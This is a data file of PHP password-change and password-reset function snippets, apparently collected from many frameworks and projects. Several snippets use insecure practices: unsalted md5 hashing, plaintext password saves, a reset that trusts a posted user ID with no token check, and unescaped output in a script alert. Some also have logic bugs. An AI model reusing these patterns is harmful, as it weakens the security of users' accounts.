"public function actionPasswordChange() {\n\n\t\t$userId = User::checkLogged();\n\t\t$user = User::getUserById($userId);\n\t\t$old_password = \"\";\n\t\t$password = \"\";\n\t\t$password_confirmation = \"\";\n\t\t$result = false;\n\n\t\tif (isset($_POST['submit'])) {\n\t\t\t$old_password = $_POST['old_password'];\n\t\t\t$password = $_POST['password'];\n\t\t\t$password_confirmation = $_POST['password_confirmation'];\n\n\t\t\t$errors = array();\n\n\t\t\tif (User::passwordCheck($userId, $old_password)) {\n\t\t\t\tif (Validator::checkPassword($password)) $errors['password'] = Validator::checkPassword($password);\n\t\t\t\tif (Validator::checkPasswordConfirmation($password, $password_confirmation)) $errors['password_confirmation'] =\n\t\t\t\t\tValidator::checkPasswordConfirmation($password, $password_confirmation);\n\t\t\t} else $errors['old_password'] = \"Wrong old password\";\n\n\t\t\tif (empty($errors)) {\n\t\t\t\t$result = User::passwordChange($userId, $password);\n\t\t\t}\n\t\t}\n\t\t$pageTitle = \"Password Change\";\n\t\trequire_once(ROOT . '/views/account/password_change.php');\n\n\t\treturn true;\n\t}",
"public function password(){\r\n\r\n\t\t\t$user_info = Helper_User::get_user_by_id($this->user_id);\r\n\r\n\t\t\tif($_POST){\r\n\r\n\t\t\t\t$formdata = form_post_data(array(\"old_password\", \"new_password\", \"repeat_new_password\"));\r\n\t\t\t\t\r\n\t\t\t\t$old_password = trim($formdata[\"old_password\"]);\r\n\t\t\t\t$new_password = trim($formdata[\"new_password\"]);\r\n\t\t\t\t$repeat_new_password = trim($formdata[\"repeat_new_password\"]);\r\n\r\n\t\t\t\t$error_flag = false;\r\n\r\n\t\t\t\tif(strlen($old_password) <= 0){\r\n\t\t\t\t\t$error_flag = true;\r\n\t\t\t\t\tTemplate::notify(\"error\", \"Please enter the old password\");\r\n\t\t\t\t} else {\r\n\r\n\t\t\t\t\tif(strlen($new_password) > 0 && strlen($repeat_new_password) > 0){\r\n\t\t\t\t\t\t// if both fields are not empty\r\n\r\n\t\t\t\t\t\tif(strlen($new_password) < 6){\r\n\t\t\t\t\t\t\t// the password cannot be less than 6 characters\r\n\t\t\t\t\t\t\t$error_flag = true;\r\n\t\t\t\t\t\t\tTemplate::notify(\"error\", \"Too short password. Password must be at least 6 characters long.\");\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// now compare the two new passwords\r\n\t\t\t\t\t\t\tif(strcmp($new_password, $repeat_new_password) !== 0){\r\n\t\t\t\t\t\t\t\t// both passwords are not same\r\n\t\t\t\t\t\t\t\t$error_flag = true;\r\n\t\t\t\t\t\t\t\tTemplate::notify(\"error\", \"New Passwords do not match. Please try again.\");\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tTemplate::notify(\"error\", \"Please enter the new password\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif(!$error_flag){\r\n\t\t\t\t\t// means there are no any errors\r\n\t\t\t\t\t// get the current user account from the database\r\n\t\t\t\t\t// if the old password matches with the one that the user entered\r\n\t\t\t\t\t// change the password, else throw an error\r\n\r\n\t\t\t\t\t$old_password_hash = Config::hash($old_password);\r\n\r\n\t\t\t\t\tif(strcmp($old_password_hash, trim($user_info->password)) === 0){\r\n\r\n\t\t\t\t\t\t\tif($this->change_password($new_password, $user_info)){\r\n\t\t\t\t\t\t\t\tTemplate::notify(\"success\", \"Password changed successfully\");\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tredirect(Config::url(\"account\"));\r\n\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tTemplate::notify(\"error\", \"Wrong Old Password. Please try again\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tConfig::set(\"active_link\", \"password\");\r\n\t\t\tConfig::set(\"page_title\", \"Change Account Password\");\r\n\r\n\t\t\t$view_data[\"user_info\"] = $user_info;\r\n\r\n\t\t\tTemplate::setvar(\"page\", \"account/password\");\r\n\t\t\tTemplate::set(\"account/template\", $view_data);\r\n\t\t}",
"function display_password_form()\r\n{\r\n?>\r\n <br>\r\n <form action=\"change_passwd.php\" method=post>\r\n <table width=250 cellpadding=2 cellspacing=0 bgcolor=#cccccc>\r\n <tr><td>Vieja Contraseña:</td>\r\n <td><input type=password name=old_passwd size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td>Nueva Contraseña:</td>\r\n <td><input type=password name=new_passwd size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td>Repite Nueva Contraseña:</td>\r\n <td><input type=password name=new_passwd2 size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td colspan=2 align=center><input type=submit value=\"Cambiar Contraseña\">\r\n </td></tr>\r\n </table>\r\n <br>\r\n<?\r\n}",
"public function change_password()\n {\n $currentPassword = $this->input->post('currentPassword');\n $newPassword = $this->input->post('newPassword');\n\n $isPasswordChanged = $this->CustomModel->changePassword(\n $_SESSION['u_id'], $currentPassword, $newPassword\n );\n\n if ($isPasswordChanged) {\n echo 'success';\n }\n }",
"public function actionChangepassword()\n\t{\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t\n\t\t\n\t\t$this->checkUser();\n\t\t\n\t\t$record = SiteUser::model()->findByAttributes(array('id'=> Yii::app()->user->id));\n\t\n\t\tif(isset($_POST['SiteUser']))\n\t\t{\t\n\t\t\tif(trim($_POST['SiteUser']['password']) != '') {\n\t\t\t\t$record->password = $_POST['SiteUser']['password'];\n\t\t\t\t\n\t\t\t} \t\t\n\t\t\tif(trim($_POST['SiteUser']['password']) == trim($_POST['SiteUser']['repeat_password'])) {\n\t\t\t\t$record->repeat_password = $record->password;\n\t\t\t}\t\n\t\t\t\n\t\t\tif($record->validate()) {\n\t\t\t\t$record->repeat_password = $record->password = crypt($record->password);\n\t\t\t\tif($record->save())\n\t\t\t\t\t$this->redirect(array('personal'));\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$record->repeat_password = $record->password = '';\n\t\t\t}\n\n\t\t}\t\n\n\t\t$this->render('changepassword',array('record'=>$record));\n\t}",
"public function actionchangePassword() {\n if (isset($_POST['password'])) {\n\n $userid = Yii::app()->user->getState('userid');\n $model = HhUsers::model()->findByPk($userid);\n if ($model->password == md5($_POST['password'])) {\n\n $model->password = md5($_POST['newpassword']);\n if ($model->save()) {\n $this->redirect('index');\n }\n }\n }\n $this->render('changePassword');\n }",
"public function changePassword()\n {\n if( ! Session::isLoggedIn() )\n {\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $user = User::find(Session::getCurrentUserID());\n\n View::make('templates/front/change-password.php',array());\n }",
"public function post_changePassword() {\n //try to change the password\n $status = AuxUser::changePassword();\n if ($status[0]) {\n //if the password change process worked, redirect to the profile page\n echo '<script>alert(\"Password Changed\");</script>';\n Response::redirect('/profile');\n } else {\n //if not, print the error message\n echo '<script>alert(\"'.$status[1].'\");</script>';\n Response::redirect('/profile');\n }\n }",
"function update_password()\n {\n }",
"public function DoChangePassword($form)\n\t{\n\t\tif ($form->GetValue('Pw') == $form->GetValue('Pw2'))\n\t\t{\n\t\t\t$this->user->ChangePassword($form->GetValue('OldPw'), $form->GetValue('Pw'));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->session->AddMessage('info', 'Password didn\\'t match.');\n\t\t}\n\t\t\n\t\t$this->RedirectToController('profile');\n\t}",
"public function password_change()\n\t{\n\t\t$data['title'] = \"Change Password\";\n\t\t$this->load->view('admin/user/_header');\n\t\t$this->load->view('admin/user/_left_sideber');\n\t\t$this->load->view('admin/user/view_change_password');\n\t\t$this->load->view('admin/user/_footer');\n\t\t\t\n\t}",
"function changepassword() \n\t{\n // on the action being rendered\n $this->viewData['navigationPath'] = $this->getNavigationPath('users');\n $this->viewData['hash'] =User::userid();\n // Render the action with template\n $this->renderWithTemplate('users/changepassword', 'AdminPageBaseTemplate');\n }",
"public function changePassword() {\n\t\t//assign public class values to function variable\n\t\t$data = $this->data;\n\t\t$data['common_data'] = $this->common_data;\n\t\t$data['page'] = 'change_password';\n\t\t$data['pageName'] = 'Change Password';\n\t\tif($data['common_data']['user_data']['role'] == INACTIVE_STATUS_ID){\n\t\t\theader(\"Location: \".ROUTE_PROFILE);\n\t\t\tdie();\n\t\t}\n\t\tif($data['common_data']['user_data']['account_type'] == FACEBOOK_ACCOUNT_TYPE){\n\t\t\theader(\"Location: \".ROUTE_ERROR_PAGE);\n\t\t\tdie();\n\t\t}\n\n\t\t$data['tutor_details'] = $this->profile_model->getTutorDetailsById($data['common_data']['user_id']);\n\t\t//Getting all payment details\n\t\t$data['payment_details'] = $this->payment_model->getPaymentDetailsById($data['common_data']['user_id']);\n\t\t$data['tutor_badges'] = $this->user_model->getTutorBadges($data['common_data']['user_id']);\n\t\t$data['badges'] = $this->user_model->getBadges();\n\n\t\t$template['body_content'] = $this->load->view('frontend/profile/change-password', $data, true);\t\n\t\t$this->load->view('frontend/layouts/template', $template, false);\n\t}",
"public function change_password() {\n\t\tif (!empty($this->request->data)) {\n\t\t\t$this->request->data['User']['id'] = $this->Auth->user('id');\n\t\t\tif ($this->User->changePassword($this->request->data)) {\n\t\t\t\t$this->Session->setFlash(__('Password changed.', true));\n\t\t\t\t$this->redirect('/');\n\t\t\t}\n\t\t}\n\t}",
"public function actionChangePassword()\n {\n $model = $this->model;\n\n $modelForm = new PasswordChangeForm([\n 'user' => $model,\n ]);\n\n $rr = new RequestResponse();\n\n if (\\Yii::$app->request->isAjax && !\\Yii::$app->request->isPjax) {\n return $rr->ajaxValidateForm($modelForm);\n }\n\n\n if ($modelForm->load(\\Yii::$app->request->post()) && $modelForm->changePassword()) {\n \\Yii::$app->getSession()->setFlash('success', 'Успешно сохранено');\n } else {\n if (\\Yii::$app->request->isPost) {\n \\Yii::$app->getSession()->setFlash('error', 'Не удалось изменить пароль');\n }\n }\n\n return $this->render($this->action->id, [\n 'model' => $modelForm,\n ]);\n }",
"public function changePassword()\n {\n $breadCrumb = $this->userEngine->breadcrumbGenerate('change-password');\n\n return $this->loadPublicView('user.change-password', $breadCrumb['data']);\n }",
"function procChangePassword() {\n global $session, $form;\n /* Change password attempt */\n $retval = $session->changePassword($_POST['cpuser'], $_POST['newpass1'], $_POST['newpass2']);\n\n /* Account edit successful */\n if ($retval) {\n $_SESSION['pwupdate'] = true;\n header(\"Location: \" . $session->referrer);\n }\n /* Error found with form */ else {\n $_SESSION['value_array'] = $_POST;\n $_SESSION['error_array'] = $form->getErrorArray();\n header(\"Location: \" . $session->referrer);\n }\n }",
"public function changePasswordAction()\n {\n $message = array();\n $message['success'] = \"\";\n $message['verify'] = $this->customerVerify($_SESSION['userName'], $_POST['currentPass']);\n if (!$message['verify']) {\n $message['confirm'] = $this->checkConfirm($_POST['newPass'], $_POST['confirmPass']);\n if (!$message['confirm']) {\n $this->model->chagePass($_SESSION['userName'], password_hash($_POST['newPass'], PASSWORD_DEFAULT));\n $message['success'] = \"Your password has been changed\";\n }\n }\n echo json_encode($message);\n }",
"function changeMasterPassword()\n\t{\n\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.std_layout.html\", \"setup\");\n\n\t\t$this->tpl->setVariable(\"TXT_INFO\", $this->lng->txt(\"info_text_password\"));\n\n\t\t// formular sent\n\t\tif ($_POST[\"form\"])\n\t\t{\n\t\t\t$pass_old = $this->setup->getPassword();\n\n\t\t\tif (empty($_POST[\"form\"][\"pass_old\"]))\n\t\t\t{\n\t\t\t\t$message = $this->lng->txt(\"password_enter_old\");\n\t\t\t\t$this->setup->raiseError($message,$this->setup->error_obj->MESSAGE);\n\t\t\t}\n\n\t\t\tif (md5($_POST[\"form\"][\"pass_old\"]) != $pass_old)\n\t\t\t{\n\t\t\t\t$message = $this->lng->txt(\"password_old_wrong\");\n\t\t\t\t$this->setup->raiseError($message,$this->setup->error_obj->MESSAGE);\n\t\t\t}\n\n\t\t\tif (empty($_POST[\"form\"][\"pass\"]))\n\t\t\t{\n\t\t\t\t$message = $this->lng->txt(\"password_empty\");\n\t\t\t\t$this->setup->raiseError($message,$this->setup->error_obj->MESSAGE);\n\t\t\t}\n\n\t\t\tif ($_POST[\"form\"][\"pass\"] != $_POST[\"form\"][\"pass2\"])\n\t\t\t{\n\t\t\t\t$message = $this->lng->txt(\"password_not_match\");\n\t\t\t\t$this->setup->raiseError($message,$this->setup->error_obj->MESSAGE);\n\t\t\t}\n\n\t\t\tif (md5($_POST[\"form\"][\"pass\"]) == $pass_old)\n\t\t\t{\n\t\t\t\t$message = $this->lng->txt(\"password_same\");\n\t\t\t\t$this->setup->raiseError($message,$this->setup->error_obj->MESSAGE);\n\t\t\t}\n\n\t\t\tif (!$this->setup->setPassword($_POST[\"form\"][\"pass\"]))\n\t\t\t{\n\t\t\t\t$message = $this->lng->txt(\"save_error\");\n\t\t\t\t$this->setup->raiseError($message,$this->setup->error_obj->MESSAGE);\n\t\t\t}\n\n\t\t\tilUtil::sendInfo($this->lng->txt(\"password_changed\"),true);\n\t\t\tilUtil::redirect(\"setup.php\");\n\t\t}\n\n\t\t// output\n\t\t$this->tpl->addBlockFile(\"SETUP_CONTENT\",\"setup_content\",\"tpl.form_change_admin_password.html\", \"setup\");\n\n\t\t$this->tpl->setVariable(\"TXT_HEADER\",$this->lng->txt(\"password_new_master\"));\n\n\t\t// pass form\n\t\t$this->tpl->setVariable(\"FORMACTION\", \"setup.php?cmd=gateway\");\n\t\t$this->tpl->setVariable(\"TXT_REQUIRED_FIELDS\", $this->lng->txt(\"required_field\"));\n\t\t$this->tpl->setVariable(\"TXT_PASS_TITLE\",$this->lng->txt(\"change_password\"));\n\t\t$this->tpl->setVariable(\"TXT_PASS_OLD\",$this->lng->txt(\"set_oldpasswd\"));\n\t\t$this->tpl->setVariable(\"TXT_PASS\",$this->lng->txt(\"set_newpasswd\"));\n\t\t$this->tpl->setVariable(\"TXT_PASS2\",$this->lng->txt(\"password_retype\"));\n\t\t$this->tpl->setVariable(\"TXT_SAVE\", $this->lng->txt(\"save\"));\n\t}",
"function get_change_password($properties) {\r\n\r\n $page_id = $properties['page_id'];\r\n\r\n $form = new liveform('change_password');\r\n\r\n $attributes =\r\n 'action=\"' . OUTPUT_PATH . OUTPUT_SOFTWARE_DIRECTORY . '/change_password.php\" ' .\r\n 'method=\"post\"';\r\n\r\n // If the form is empty, then set default values.\r\n if ($form->is_empty()) {\r\n if (USER_LOGGED_IN) {\r\n $form->set('email_address', USER_EMAIL_ADDRESS);\r\n }\r\n }\r\n\r\n $form->set('email_address', 'required', true);\r\n $form->set('email_address', 'maxlength', 100);\r\n\r\n $form->set('current_password', 'required', true);\r\n\r\n // If strong password is enabled, then display password requirements.\r\n if (STRONG_PASSWORD) {\r\n $strong_password_help = get_strong_password_requirements();\r\n } else {\r\n $strong_password_help = '';\r\n }\r\n\r\n $form->set('new_password', 'required', true);\r\n $form->set('new_password_verify', 'required', true);\r\n\r\n if (PASSWORD_HINT) {\r\n $form->set('password_hint', 'maxlength', 100);\r\n }\r\n\r\n $my_account_url = '';\r\n\r\n // If the user is logged in then get my account URL, for cancel button.\r\n if (USER_LOGGED_IN) {\r\n $my_account_url = get_page_type_url('my account');\r\n }\r\n\r\n $system = get_token_field();\r\n\r\n $output = render_layout(array(\r\n 'page_id' => $page_id,\r\n 'messages' => $form->get_messages(),\r\n 'form' => $form,\r\n 'attributes' => $attributes,\r\n 'strong_password_help' => $strong_password_help,\r\n 'my_account_url' => $my_account_url,\r\n 'system' => $system));\r\n\r\n $output = $form->prepare($output);\r\n\r\n $form->remove();\r\n\r\n return\r\n '<div class=\"software_change_password\">\r\n ' . $output . '\r\n </div>';\r\n\r\n}",
"public function showPasswordForm()\n {\n return view('parameters.users.change_password');\n }",
"public function changePasswordForm()\n {\n\n return view('changePassword');\n }",
"public function c_changepass(){\n\t\t\n\t\t$this->getC();\n\t\t$this->layout = false;\n\t\tif ($this->request->is('post')) {\n\t\t\t$customers = $this->Customers->get($this->request->session()->read('id'), [\n\t\t\t\t'contain' => []\n\t\t\t]);\n\t\t\t$pass = $this->request->data['data']['Customers']['oldpassword'];\n\t\t\t$new = $this->request->data['data']['Customers']['password'];\n\t\t\tif(!empty($customers)){\n\t\t\t\n\t\t\t\tif($this->request->data['data']['Customers']['cpassword']==$this->request->data['data']['Customers']['oldpassword']){\n\t\t\t\t\t$this->request->data['password']=$new;\n\t\t\t\t\t$customer = $this->Customers->patchEntity($customers, $this->request->data);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->Customers->save($customer)) {\n\t\t\t\t\t\t$this->Flash->success('Password has been successfully updated.');\n\t\t\t\t\t\treturn $this->redirect(['action' => 'c_index']);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\t$this->Flash->success('Wrong Password. Please try again.');\n\t\t\t\t\treturn $this->redirect(['action' => 'c_index']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$this->Flash->success('Wrong Password. Please try again.');\n\t\t\t\treturn $this->redirect(['action' => 'c_index']);\n\t\t\t}\n\t\t}\n\t}",
"public function changePassword() {\n $this->form_validation->set_rules('email', 'Email', 'required');\n $this->form_validation->set_rules('password', 'Altes Passwort', 'required');\n $this->form_validation->set_rules('new_password', 'Neues Passwort', 'required');\n\n if ($this->form_validation->run() === FALSE) {\n \t$this->error(400, 'Validation error');\n }\n \n $this->loadUser();\n \n\t\tif (!password_verify(\n\t\t\t$this->input->post('password'),\n\t\t\t$this->user_model->getValue('hashed_password'))) \n\t\t{\n\t\t\t$this->error(404, 'Verification error');\n\t\t}\n\t\t\n\t\t/*\n \tif ($this->user_model->getValue('confirmed') == 0) {\n \t\t$this->error(402, 'Account not confirmed');\n \t}\n \t*/\n \t\n \t$this->user_model->setValue(\n \t\t'hashed_password',\n \t\tpassword_hash($this->input->post('new_password'), PASSWORD_DEFAULT));\n \t\t\n \tif (! $this->user_model->updatePassword()) {\n \t\t$this->error(400, 'Password could not be updated');\n \t}\n \t\n $data['new password'] = 'set';\n $this->response($data);\n }",
"public function change_password() {\n\t\treturn view( 'provider.profile.change_password' );\n\t}",
"public function actionChangePassword()\n {\n $username = $this->prompt(Console::convertEncoding(Yii::t('app', 'Username')) . ':', ['required' => true]);\n $model = $this->findModel($username);\n $model->setPassword($this->prompt(Console::convertEncoding(Yii::t('app', 'New password')) . ':', [\n 'required' => true,\n 'pattern' => '#^.{4,255}$#i',\n 'error' => Console::convertEncoding(Yii::t('app', 'More than {:number} symbols', [':number' => 4])),\n ]));\n $this->log($model->save());\n }",
"public function actionChangePassword() {\n $model = User::model()->find('id=:id', array(':id' => Yii::app()->user->id));\n $model->scenario = 'needpassword';\n $model->password = '';\n // if it is ajax validation request\n if (isset($_POST['ajax']) && $_POST['ajax'] === 'changepassword-form') {\n echo CActiveForm::validate($model);\n Yii::app()->end();\n }\n\n if (isset($_POST['User'])) {\n $model->attributes = $_POST['User'];\n if ($model->changePassword()) {\n Yii::app()->user->setFlash('success', 'Your password has been successfully changed!');\n $this->redirect(array('user/changepassword'));\n } else {\n $this->render('changepassword', array('model' => $model));\n }\n } else {\n $this->render('changepassword', array('model' => $model));\n }\n }",
"public function admin_forgot_password_form() {\n if ($this->checkLogin('A') == '') {\n\t\t\t\t$this->load->view(ADMIN_ENC_URL.'/templates/forgot_password.php', $this->data);\n } else {\n redirect(ADMIN_ENC_URL.'/dashboard');\n }\n }",
"public function actionPassword()\n {\n $id = Yii::$app->user->id;\n\t\t$model = $this->findModel($id);\n\t\t$model->scenario = 'password';\n if ($model->load(Yii::$app->request->post())) {\t\n\t\t\tif(!Yii::$app->security->validatePassword($model->old_password, Yii::$app->user->identity->password_hash)){\n\t\t\t\tYii::$app->getSession()->setFlash('error', 'Old password not match with current password');\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$model->password = $model->new_password;\n\t\t\t\tif($model->save()) {\n\t\t\t\t\tYii::$app->getSession()->setFlash('success', 'Password have changed.');\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tYii::$app->getSession()->setFlash('error', 'Password is not change.');\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $this->redirect(['password']);\n } else {\n return $this->render('password', [\n 'model' => $model,\n ]);\n }\n }",
"public function update()\n {\n $new_password = $this->input->post('inputNewPassword');\n if ($this->authentication->change_password($new_password))\n {\n $this->flash_message('Password Akun Berhasil di Update');\n } else {\n $this->flash_message('Password Akun Gagal di Update');\n }\n redirect($this->data['user'].'/editPassword');\n }",
"public function add_to_reset_pass_form() {\n\t\t$this->recaptcha->show_recaptcha( array( 'action' => ITSEC_Recaptcha::A_RESET_PASS ) );\n\t}",
"public function doResetPassword()\n {\n // if user is logged in, do not let him access this page\n if( Session::isLoggedIn() )\n {\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $userID = SCMUtility::cleanText($_POST['userID']);\n $userNewPassword = SCMUtility::stripTags($_POST['new_reset_password']);\n\n // validate\n $validator = Validator::make(array('password'=>$userNewPassword),User::$rulesPasswordChange,User::$rulesMessages);\n\n if($validator->fails())\n {\n SCMUtility::setFlashMessage('Password reset failed. Error: '.$validator->messages()->first(),'danger');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n // update user password\n $user = User::find($userID);\n\n if( ! $user )\n {\n SCMUtility::setFlashMessage('Sorry, we cannot find any user associated with that email address.','danger');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n $user->password = $userNewPassword;\n $user->save();\n\n SCMUtility::setFlashMessage('Your password have been reset. You can now login using your new password.','success');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }",
"public function changePassword(PasswordChangeForm $form, User $user);",
"public function savepasswordAction(){\n\t\t$request = $this->_request->getParams();\n\t\t\n\t\t$error = false;\n\t\t$oValidationHelper = new Helpers_Usermanagement_Validate();\n\t\t\n\t\tif(!$oValidationHelper->ifPasswordMatch($request['user_password'],$request['password2'])){\n\t\t\t$error = true;\n\t\t\t$this->_messages->setMessage('Passwords entered do not match','error','user_password');\n\t\t}\t\n\t\t\n\t\tif($this->_validator->validate('passreset_form',$request) && !$error){\n\t\t\t$this->_auth->user_password = md5($request['user_password']);\n\t\t\t$this->_auth->save();\n\t\t\t$this->_messages->setMessage('Password has been updated');\t\t\t\n\t\t\t$this->_redirect('/usermanagement/profile/passwordform');\n\t\t}else{\n\t\t\tforeach ( $this->_validator->getErrors () as $field=>$error ) {\n\t\t\t\t$this->_messages->setMessage ( $error, 'error' , $field);\n\t\t\t}\n\t\t\t$this->_redirect('/usermanagement/profile/passwordform/?error=1');\n\t\t}\n\t}",
"public function changePasswordAction(Request $request){\n\n $params['title'] = _(\"CHANGE PASSWORD\");\n\n //handle forgot 1 form\n if (!empty($_POST)){\n\n $error = true;\n $password = $_POST['password'];\n $password_bis = $_POST['password_bis'];\n\n //validation\n $validator = new CustomValidator();\n\n $validator->validatePassword($password);\n $validator->validatePasswordBis($password_bis, $password);\n\n //if valid\n if ($validator->isValid()){\n $securityHelper = new SH();\n\n //find user from db\n $user = $securityHelper->getUser($request);\n\n //if user found\n if($user){\n\n $hashedPassword = $securityHelper->hashPassword( $password, $user->getSalt() );\n $user->setPassword( $hashedPassword );\n\n $userManager = new UserManager();\n $userManager->update($user);\n\n $params[\"message\"] = _(\"Password updated!\");\n $view = new View(\"success.php\", $params);\n $view->setLayout(\"../View/layouts/modal.php\");\n $view->send(true);\n }\n }\n \n $params['errors'] = $validator->getErrors();\n }\n\n\n $view = new View(\"change_password.php\", $params);\n $view->setLayout(\"../View/layouts/modal.php\");\n $view->send(true);\n }",
"public function actionChangePassword()\n {\n $model = new ChangePasswordForm();\n\n $user = User::find()->where(['id' => Yii::$app->user->id])->one();\n if($user === null){\n throw new NotFoundHttpException('User is null');\n }\n\n $model->setUser($user);\n if($model->load(Yii::$app->request->post()) && $model->update())\n {\n $this->showFlashSuccessMessage('Your password has been changed successfully!');\n Yii::$app->user->logout();\n return $this->refresh();\n }\n $this->showFlashModelErrors($model);\n\n return $this->render('change-password', [\n 'model' => $model\n ]);\n }",
"private function changePassword()\n {\n try\n {\n global $userquery; \n\n $request = $_REQUEST;\n\n if(!userid())\n throw_error_msg(\"Please login to perform this action\");\n\n if(!isset($request['old_pass']) || $request['old_pass']==\"\")\n throw_error_msg(\"provide old_pass\");\n\n //new_pass\n if(!isset($request['new_pass']) || $request['new_pass']==\"\")\n throw_error_msg(\"provide new_pass\");\n\n //c_new_pass\n if(!isset($request['c_new_pass']) || $request['c_new_pass']==\"\")\n throw_error_msg(\"provide c_new_pass\");\n\n if($request['c_new_pass']!=$request['c_new_pass'])\n throw_error_msg(\"new password and confirm password do not match\");\n\n $request['userid'] = userid();\n $userquery->change_password($request);\n\n if( error() )\n {\n throw_error_msg(error('single')); \n }\n else\n {\n $data = array('code' => \"204\", 'status' => \"success\", \"msg\" => \"success\", \"data\" => \"password has been changed successfully\");\n $this->response($this->json($data)); \n } \n\n }\n catch(Exception $e)\n {\n $this->getExceptionDelete($e->getMessage());\n }\n }",
"function regiomino_user_change_password($account, $password) {\r\n\t//watchdog('pwdaction', '@password', array('@password' => $password));\r\n $edit['pass'] = $password;\r\n user_save($account, $edit);\r\n}",
"public function editPassword(){\n \treturn view('auth.passwords.changePass');\n }",
"public function showChangePasswordForm()\n {\n return view('auth.changepassword');\n }",
"public function post_password()\n\t{\n\t\t$input = Input::all();\n\t\t$rules = array(\n\t\t\t'current_password' => array(\n\t\t\t\t'required',\n\t\t\t),\n\t\t\t'new_password' => array(\n\t\t\t\t'required',\n\t\t\t\t'different:current_password',\n\t\t\t),\n\t\t\t'confirm_password' => array(\n\t\t\t\t'same:new_password',\n\t\t\t),\n\t\t);\n\n\t\tif (Auth::user()->id !== $input['id']) return Response::error('500');\n\n\t\t$val = Validator::make($input, $rules);\n\n\t\tif ($val->fails())\n\t\t{\n\t\t\treturn Redirect::to(handles('orchestra::account/password'))\n\t\t\t\t\t->with_input()\n\t\t\t\t\t->with_errors($val);\n\t\t}\n\n\t\t$msg = Messages::make();\n\t\t$user = Auth::user();\n\n\t\tif (Hash::check($input['current_password'], $user->password))\n\t\t{\n\t\t\t$user->password = $input['new_password'];\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tDB::transaction(function () use ($user)\n\t\t\t\t{\n\t\t\t\t\t$user->save();\n\t\t\t\t});\n\n\t\t\t\t$msg->add('success', __('orchestra::response.account.password.update'));\n\t\t\t}\n\t\t\tcatch (Exception $e)\n\t\t\t{\n\t\t\t\t$msg->add('error', __('orchestra::response.db-failed'));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$msg->add('error', __('orchestra::response.account.password.invalid'));\n\t\t}\n\n\t\treturn Redirect::to(handles('orchestra::account/password'));\n\t}",
"public function setNewPassword()\n {\n PasswordResetModel::setNewPassword(\n Request::post('user_name'), Request::post('user_password_reset_hash'),\n Request::post('user_password_new'), Request::post('user_password_repeat')\n );\n Redirect::to('index');\n }",
"public function get_changepassword(){\n\t\tif (Auth::check()){\n\t\t\t$customer_id = Auth::user()->customer_id;\n\t\t\t\n\t\t\t$this->layout->content = View::make('frontend.customers.changepassword')\n\t\t\t\t->with('title', 'Change Password')\n\t\t\t\t->with('customer', Customer::find($customer_id));\n\t\t}\n\t}",
"public function postChangepassword() {\n if ($this->_adminUserRepository->updatePassword ()) {\n return redirect ( 'users/changepassword' )->withSuccess ( trans ( 'user::adminuser.changepassword.success' ) );\n } else {\n return redirect ( 'users/changepassword' )->withErrors ( trans ( 'user::adminuser.changepassword.incorrect' ) );\n }\n }",
"function change_password($password){\n\t\tif( isset($_POST[$password]) ){\n\t\t\t$new_password = $_POST[$password];\n\n\t\t\t$result = user::change_password($new_password);\n\t\t}\n\t}",
"public function passwordChangeForm()\n {\n return view('student.change');\n }",
"public function setpassword(){\n\t\t$args = $this->getArgs();\n\t\t$out = $this->getModel()->getUserDataByRenewToken(UserController::getRenewTokenHash($args[\"GET\"][\"token\"]));\n\t\tinclude 'gui/template/UserTemplate.php';\n\t}",
"public function change_password() {\n $flash = null;\n // if the user has tried logging in\n if(isset($_POST['login'])){\n // try verifying the user\n if($this->User->login($_POST['username'], $_POST['old_pass'])) {\n if($_POST['new_pass']==$_POST['new_pass_verify']){\n $this->User->setPassword($User->getId(), $_POST['new_pass']);\n session_write_close();\n header(\"Location: \".app::site_url(''));\n exit(0);\n } else {\n $flash = \"I'm sorry, but the new passwords did not match.\";\n }\n } else {\n $flash = \"That username and/or password is not valid.\";\n }\n }\n return array('flash' => $flash);\n }",
"public function change_password()\n\t{\n\t\t$this->load->model('admin_user_model', 'admin_users');\n\t\t$updated = $this->admin_users->change_password($this->mUser->id, $this->input->post('new_password'));\n\n\t\tif ($updated)\n\t\t{\n\t\t\tset_alert('success', 'Successfully changed password.');\n\t\t}\n\t\telse\n\t\t{\n\t\t\tset_alert('danger', 'Failed to changed password.');\n\t\t}\n\n\t\tredirect('admin/account');\n\t}",
"private function __changePassword() {\n\t\t$data = $this->request->data['User'];\n\t\t$this->User->id = $this->Auth->user('id');\n\t\tif ($this->User->saveField('password', $data['new_password'])) {\n\t\t\t$this->Session->setFlash(__('Your password changed successfully.'), 'success');\n\t\t\t$this->redirect($this->referer());\n\t\t} else {\n\t\t\t$this->Session->setFlash(__('Could not change your password due to a server problem, try again later.'), 'error');\n\t\t}\n\t}",
"public function setPassword($newPassword);",
"public function testUpdatePasswordNotGiven(): void { }",
